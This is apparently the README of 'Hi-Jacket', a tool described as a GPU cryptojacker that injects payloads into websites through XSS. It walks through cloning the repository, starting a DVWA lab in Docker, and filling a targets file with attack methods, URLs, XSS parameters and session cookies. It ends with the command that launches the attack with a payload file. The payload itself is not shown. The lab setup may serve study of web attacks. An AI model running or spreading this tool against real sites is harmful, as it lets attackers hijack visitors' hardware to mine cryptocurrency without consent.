Hi-Jacket - A GPU cryptojacker script

First of all clone the repository

git clone https://github.com/ZappaBoy/hi-jacket.git
cd hi-jacket

Run the testing enviroment through docker-compose.

cd ./remote-control
chmod +x ./run-test-environment.sh
./run-test-environment.sh

This will run a DVWA instance with its mysql database in two containers. After this, it will automatically run the dispatcher server (dispatcher.py).

Before running the remote control you need to define the attack targets in the remote-control/sites-urls.txt. Simply edit the file using tabs as spacer:

1. Insert in the first column the attack method, you can choose between GET POST ALL AUTO DEFAULT;
2. In the second column insert the base url of the attack;
3. In the third column insert the string prams for the GET methods and the body for the POST one;
4. (optional) In the last column you can insert the cookies such as the PHPSESSID.

You can also use the hashtag (#) to comment a line and avoid the execution of the attack on that target. Here is an example:

GET         http://xss-game.appspot.com                                     /level1/frame?query=XSS
POST        http://localhost:8060/vulnerabilities/xss_s/index.php           txtName=hijacked&mtxMessage=XSS&btnSign=Sign+Guestbook      PHPSESSID=YOURPHPSESSID;security=low
ALL         http://localhost:8060/vulnerabilities/xss_s/index.php
AUTO        http://xss-game.appspot.com                                     /level1/frame?query=XSS
DEFAULT     http://xss-game.appspot.com                                     /level1/frame?query=XSS
# This is a comment. The following line is ignored.
# GET     http://xss-game.appspot.com                                     /level1/frame?query=XSS

Once defined the targets you can run the attack using the remote-control.sh

chmod +x ./remote-control.sh
./remote-control.sh -s -i -p very-danger-payload.txt